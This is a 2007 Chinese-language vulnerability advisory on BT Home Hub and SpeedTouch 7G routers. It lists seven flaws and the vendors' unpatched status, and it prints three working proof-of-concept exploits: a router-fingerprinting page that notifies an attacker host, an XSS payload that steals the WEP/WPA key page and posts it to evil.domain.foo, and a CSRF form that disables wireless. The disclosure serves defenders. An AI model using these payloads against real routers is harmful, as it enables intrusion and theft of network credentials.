安全研究
安全漏洞
BT Home Hub和Thomson/Alcatel Speedtouch 7G多个安全漏洞
发布日期:2007-10-08
更新日期:2007-11-13
受影响系统:
British Telecommunications Home Hub 6.2.2.6不受影响系统:
Thomson Telecom SpeedTouch 7G
British Telecommunications Home Hub 6.2.6.B描述:
BUGTRAQ ID: 25972
BT Home Hub和Speedtouch 7G都是家用的无线Internet路由器。
BT Home Hub和SpeedTouch 7G路由器中存在多个安全漏洞,允许恶意用户执行跨站脚步、跨站请求欺骗、脚本注入攻击,或绕过某些安全限制。
1) 在处理URL时存在输入验证错误,可能允许攻击者通过包含有两个斜线的特制URL访问并更改受口令保护的资源,如配置和设置页。
2) 在记录登录用户名之前没有执行正确的过滤,可能允许注入任意HTML和脚本代码,如果用户浏览了日志就会在用户的浏览器会话中执行。
3) 由于没有正确地过滤对name参数的输入,可能导致在用户的浏览器会话中执行任意HTML和脚本代码。
4) 由于没有正确的过滤对cgi/b/ic/connect/文件中url参数的输入,可能导致在用户的浏览器会话中执行任意HTML和脚本代码。
5) 设备没有对用户请求执行有效性检查,允许用户通过HTTP请求执行某些操作,如果登录的管理员访问了恶意站点,这可能导致更改管理员口令。
6) 用户可以通过URL未经认证便直接访问某些页面,如Wireless Security页面。
7) 管理用户可以通过URL保存备份或加载配置文件,而这些文件仅应由tech帐号访问。
<*来源:Adrian Pastor (m123303@richmond.ac.uk)
链接:http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-4
http://secunia.com/advisories/27651/
http://www.theregister.co.uk/2007/10/09/bt_home_hub_vuln/
http://secunia.com/advisories/27652/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<html>
<!-- index.html -->
<head>
<script>
function redirect() {
targetURL="http://www.google.com/search?ie=UTF-8&oe=UTF-8&sourceid=navclient&gfns=1&q=techno+viking";
notifyURL="http://www.attackersdomain.com/notify.php";
imgsrc = 'http://192.168.1.254/images/head_wave.gif';
fingerprint_img = new Image();
fingerprint_img.onerror = function (evt) {
; //alert(this.src + " can't be loaded.");
}
// only notify attacker only if potential vulnerable Thomson
Speedtouch / BT Homehub router found
fingerprint_img.onload = function (evt) {
//alert(this.src + " is loaded.");
C=new Image();
C.src=notifyURL;
}
fingerprint_img.src = imgsrc;
setTimeout("document.location=targetURL", 500);
}
</script>
</head>
<body>
<iframe onload="redirect()" frameborder=0 height=0 width=0
src="./ras.html"></iframe>
</body>
</html>
<?php
// notify.php
define("RCPT_EMAIL", "bthomehubevil@mailinator.com");
define("EMAIL_SUBJECT", "[OWNED]");
$messagebody="victim: https://".$_SERVER['REMOTE_ADDR'].":51003\n";
mail(RCPT_EMAIL, EMAIL_SUBJECT, $messagebody);
?>
Exploit #2 窃取包含有WEP/WPA密钥的页面
http://192.168.1.254/cgi/b/ic/connect/?url="><script%20src=http://www.attackersdomain.com/xss.js></script><a%20b%3d
// xss.js
// important - won't work without having a body
document.write("<body>");
// xhr() - WORKS ON BOTH FF2 AND IE7!
// original code from developer.apple.com
var req;
// we steal the page that returns the WEP/WPA key. no auth required, can you believe it?
var url="/cgi/b/_wli_/seccfg/?ce=1&be=1&l0=4&l1=0";
function loadXMLDoc(url)
{
req = false;
// branch for native XMLHttpRequest object
if(window.XMLHttpRequest && !(window.ActiveXObject))
{
try
{
req = new XMLHttpRequest();
}
catch(e)
{
req = false;
}
// branch for IE/Windows ActiveX version
}
else if(window.ActiveXObject)
{
try
{
req = new ActiveXObject("Msxml2.XMLHTTP");
}
catch(e)
{
try
{
req = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e)
{
req = false;
}
}
}
if(req)
{
req.onreadystatechange = processReqChange;
req.open("GET", url, true);
req.send("");
}
}
// end of loadXMLDoc(url)
function processReqChange()
{
// only if req shows "loaded"
if (req.readyState == 4)
{
// only if "OK"
if (req.status == 200)
{
// ...processing statements go here...
//alert(escape(req.responseText));
var f=document.createElement("form");
f.name="myform";
// where you want the captured data to be submitted to
f.action="http://evil.domain.foo/bthh/steal.php";
// POST is handy for submitting large chuncks of data
f.method="POST";
var t = document.createElement('INPUT');
t.type='hidden';
t.name='data';
t.value=escape(req.responseText);
f.appendChild(t);
document.body.appendChild(f);
f.submit();
}
}
}
loadXMLDoc(url);
// end of body
document.write("</body>");
<?php
// steal.php
define("RCPT_EMAIL", "unknown.pentester@gmail.com");
define("EMAIL_SUBJECT", "[OWNED]");
$messagebody="victim router: ".$_SERVER['REMOTE_ADDR']."\n";
if($_REQUEST['data']) {
$messagebody=$messagebody."page containing WEP/WPA key:".$_REQUEST['data'];
mail(RCPT_EMAIL, EMAIL_SUBJECT, $messagebody);
}
?>
Exploit #3 禁止无线连接
<html>
<!-- index.html -->
<iframe onload="javascript:document.body.innerHTML='<html><h1>PWNED!</h1>'" name="hack" frameborder=0 height=0 width=0 src="./disable_wifi_interface.html"></iframe>
</html>
-->
<form action="http://192.168.1.254/cgi/b/_wli_/cfg//" method="post">
<input type="hidden" name="0" value="10">
<input type="hidden" name="1" value="">
<input type="hidden" name="32" value="">
<input type="hidden" name="33" value="">
<input type="hidden" name="34" value="2">
<input type="hidden" name="35" value="1">
<input type="hidden" name="45" value="11">
<input type="hidden" name="47" value="1">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
建议:
厂商补丁:
British Telecommunications
--------------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.homehub.bt.com/
Thomson Telecom
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.thomson-broadband.co.uk/codepages/content.asp?c=1
浏览次数:2941
严重程度:0(网友投票)
绿盟科技给您安全的保障
